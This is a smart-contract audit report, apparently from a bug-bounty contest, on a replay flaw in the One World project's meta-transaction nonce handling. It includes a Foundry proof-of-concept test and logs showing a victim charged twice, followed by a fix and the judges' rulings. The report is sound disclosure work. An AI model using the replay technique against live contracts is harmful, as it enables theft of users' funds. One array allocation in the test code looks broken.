Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Valid

NativeMetaTransaction.executeMetaTransaction() failed txs are open to replay attacks

Summary

The NativeMetaTransaction contract is vulnerable to replay attacks due to improper nonce management when transactions fail. This issue allows an attacker to replay a previously failed transaction, potentially resulting in unintended fund transfers. Proper nonce handling and gas checks are recommended to prevent these replay attacks and ensure reliable transaction execution.

Vulnerability Details

Any transactions that fail based on some conditions that may change in the future are not safe to be executed again later (e.g. transactions that are based on others actions).

In the current implementation, once the low-level call is failed, the whole tx will be reverted and so that nonces[userAddress] will remain unchanged.

As a result, the same tx can be replayed by anyone, using the same signature.

Code Snippet

https://github.com/Cyfrin/2024-11-one-world/blob/1e872c7ab393c380010a507398d4b4caca1ae32b/contracts/meta-transaction/NativeMetaTransaction.sol#L62

function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
// increase nonce for user (to avoid re-use)
nonces[userAddress] = nonces[userAddress] + 1;
emit MetaTransactionExecuted(
userAddress,
msg.sender,
functionSignature,
hashMetaTransaction(metaTx)
);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call{value: msg.value}(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}

See also the implementation of OpenZeppelin's MinimalForwarder:

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.5.0/contracts/metatx/MinimalForwarder.sol#L42-L66

Impact

The vulnerability could lead to severe financial losses for users. An attacker can exploit the unchanged nonce by replaying the failed transaction when conditions permit, transferring funds against the user's will. Additionally, insufficient gas could trigger griefing attacks, repeatedly failing transactions without expending the required gas, potentially leading to network congestion and denial of service.

Proof Of Concept

  • The user mahi intends to join a DAO with a higher membership price using a meta-transaction.

  • mahi creates and signs the meta-transaction without first approving the USDC token for the DAO membership factory contract.

  • Due to the missing USDC approval, the meta-transaction fails when executed.

  • mahi then manually approves the USDC token for the DAO membership factory with a maximum allowance.

  • mahi then calls joinDAO directly without a meta-transaction and successfully joins the higher-priced DAO.

  • Since the nonce for the Mahi's meta-transaction was not incremented after the initial failure, another user bluedragon can replay the original meta-transaction.

  • bluedragon replays the meta-transaction, which still has a valid signature and nonce, causing the user to join the high-priced DAO again.

  • mahi is charged a second time for joining the DAO, resulting in unintended loss of funds.

  • mahi cannot withdraw or reclaim these funds, leading to a financial loss due to the replay attack.

Proof Of Code

  1. Create a BugTest.t.sol contract in the test folder.

  2. Add the following code to the BugTest.t.sol file:

  3. Run the test using the command forge test --mt test_FortisAudits_ReplayAttack -vvvv.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.22;
import {MembershipFactory} from "../contracts/dao/MembershipFactory.sol";
import {OWPIdentity} from "../contracts/OWPIdentity.sol";
import {MembershipERC1155} from "../contracts/dao/tokens/MembershipERC1155.sol";
import {OWPERC20} from "../contracts/shared/testERC20.sol";
import {CurrencyManager} from "../contracts/dao/CurrencyManager.sol";
import {Test, console} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {DAOConfig, DAOInputConfig, TierConfig, DAOType} from "../contracts/dao/libraries/MembershipDAOStructs.sol";
import {IAccessControl} from "@openzeppelin/contracts/access/IAccessControl.sol";
import {NativeMetaTransaction} from "../contracts/meta-transaction/NativeMetaTransaction.sol";
contract BugTest is Test {
ERC1967Proxy public proxy;
MembershipFactory public membershipFactory;
MembershipERC1155 public membershipERC1155_implmentation;
MembershipERC1155 public membershipERC1155;
OWPERC20 public usdc;
OWPIdentity public owpIdentity;
CurrencyManager public currencyManager;
address public bluedragon = makeAddr("bluedragon");
address public purpledragon = makeAddr("purpledragon");
address public admin = makeAddr("admin");
address public alice = makeAddr("alice");
address public mahi;
uint256 public mahi_key;
function setUp() public {
(mahi, mahi_key) = makeAddrAndKey("mahi");
usdc = new OWPERC20("OWP", "OWP");
vm.startPrank(admin);
currencyManager = new CurrencyManager();
membershipERC1155_implmentation = new MembershipERC1155();
bytes memory data = abi.encodeWithSignature("initialize(string,string,string,address,address)", "OWP", "OWP", "One-World", admin, address(usdc));
proxy = new ERC1967Proxy(address(membershipERC1155_implmentation), data);
membershipERC1155 = MembershipERC1155(address(proxy));
membershipFactory = new MembershipFactory(address(currencyManager), admin, "https://baseuri.com/", address(membershipERC1155_implmentation));
currencyManager.addCurrency(address(usdc));
vm.stopPrank();
}
function Inputs() internal view returns (DAOInputConfig memory config, TierConfig[] memory tiers) {
DAOInputConfig memory config = DAOInputConfig({
ensname: "test",
daoType: DAOType.PUBLIC,
currency: address(usdc),
maxMembers: 50,
noOfTiers: 7
});
TierConfig[] memory tiers = new TierConfig[]();
tiers[0] = TierConfig({
amount: 1,
price: 10e6,
power: 1,
minted: 0
});
tiers[1] = TierConfig({
amount: 2,
price: 10e6,
power: 2,
minted: 0
});
tiers[2] = TierConfig({
amount: 3,
price: 10e6,
power: 3,
minted: 0
});
tiers[3] = TierConfig({
amount: 4,
price: 10e6,
power: 4,
minted: 0
});
tiers[4] = TierConfig({
amount: 5,
price: 10e6,
power: 5,
minted: 0
});
tiers[5] = TierConfig({
amount: 6,
price: 10e6,
power: 6,
minted: 0
});
tiers[6] = TierConfig({
amount: 7,
price: 10e6,
power: 7,
minted: 0
});
return (config, tiers);
}
function test_FortisAudits_ReplayAttack() public {
usdc.mint(mahi, 100e6);
// @notice Alice create DAO
DAOInputConfig memory config;
TierConfig[] memory tiers;
(config, tiers) = Inputs();
vm.startPrank(alice);
usdc.approve(address(membershipFactory), type(uint256).max);
address new_DAO_addr = membershipFactory.createNewDAOMembership(config, tiers);
vm.stopPrank();
// @notice User creating a meta transaction to join the DAO
bytes memory functionSignature = abi.encodeWithSelector(
membershipFactory.joinDAO.selector, new_DAO_addr, 1
);
uint256 nonce = membershipFactory.getNonce(mahi);
NativeMetaTransaction.MetaTransaction memory metaTx = NativeMetaTransaction.MetaTransaction(
nonce, mahi, functionSignature
);
bytes32 messageHash = membershipFactory.hashMetaTransaction(metaTx);
bytes32 domainSeparator = membershipFactory.getDomainSeperator();
bytes32 digest = keccak256(
abi.encodePacked("\x19\x01", domainSeparator, messageHash)
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(mahi_key, digest);
vm.expectRevert(); // Reverts because the user has not approved the USDC token
membershipFactory.executeMetaTransaction(mahi, functionSignature, r, s, v);
console.log("*---------------------Before joining DAO--------------------*");
console.log("Balance of mahi: ", usdc.balanceOf(mahi));
// @notice User approves the USDC token to uint256.max and joins the DAO without meta transaction
vm.startPrank(mahi);
usdc.approve(address(membershipFactory), type(uint256).max);
membershipFactory.joinDAO(new_DAO_addr, 1);
vm.stopPrank();
console.log("*---------------------After joining DAO---------------------*");
console.log("Balance of mahi: ", usdc.balanceOf(mahi));
// @audit As the mahi nonce is not increased, the bluedragon can replay the transaction again causing loss of funds to user
vm.prank(bluedragon);
membershipFactory.executeMetaTransaction(mahi, functionSignature, r, s, v);
console.log("*--------------After replaying the transaction--------------*");
console.log("Balance of Mahi: ", usdc.balanceOf(mahi));
console.log("Mahi loss of funds: ", 100e6 - tiers[0].price - usdc.balanceOf(mahi));
}
}

Logs

*---------------------Before joining DAO--------------------*
Balance of mahi: 100000000
*---------------------After joining DAO---------------------*
Balance of mahi: 90000000
*--------------After replaying the transaction--------------*
Balance of mahi: 80000000
mahi loss of funds: 10000000

Tools Used

Manual review

Recommendations

Failed txs should still increase the nonce .

While implementating the change above, consider adding one more check to require sufficient gas to be paid, to prevent "insufficient gas griefing attack" as described in this article.

Updates

Lead Judging Commences

0xbrivan2 Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

bluedragon Submitter
9 months ago
0xbrivan2 Lead Judge
9 months ago
0xbrivan2 Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

failed meta transactions are replayable

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.